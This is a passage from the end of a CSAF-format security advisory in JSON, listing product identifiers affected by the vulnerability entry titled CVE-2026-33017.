"CSAFPID-4774144", "CSAFPID-4774145", "CSAFPID-4774146", "CSAFPID-4774147", "CSAFPID-4774148", "CSAFPID-4774149", "CSAFPID-4774150", "CSAFPID-4774151", "CSAFPID-4818258", "CSAFPID-4818259", "CSAFPID-5281259", "CSAFPID-5288776", "CSAFPID-5288777", "CSAFPID-5288778", "CSAFPID-5288779", "CSAFPID-5288780", "CSAFPID-5288781", "CSAFPID-5288782", "CSAFPID-5288783", "CSAFPID-5288784", "CSAFPID-5288785", "CSAFPID-5288786", "CSAFPID-5288787", "CSAFPID-5446094", "CSAFPID-5667815", "CSAFPID-5667816", "CSAFPID-5737696", "CSAFPID-5737697", "CSAFPID-5737698", "CSAFPID-5874505", "CSAFPID-5875751", "CSAFPID-5875752", "CSAFPID-5907976", "CSAFPID-5907977", "CSAFPID-5907978", "CSAFPID-5907979", "CSAFPID-5907980", "CSAFPID-5907981", "CSAFPID-5909695", "CSAFPID-5912907", "CSAFPID-5918962" ] } ], "title": "CVE-2026-33017" } ] }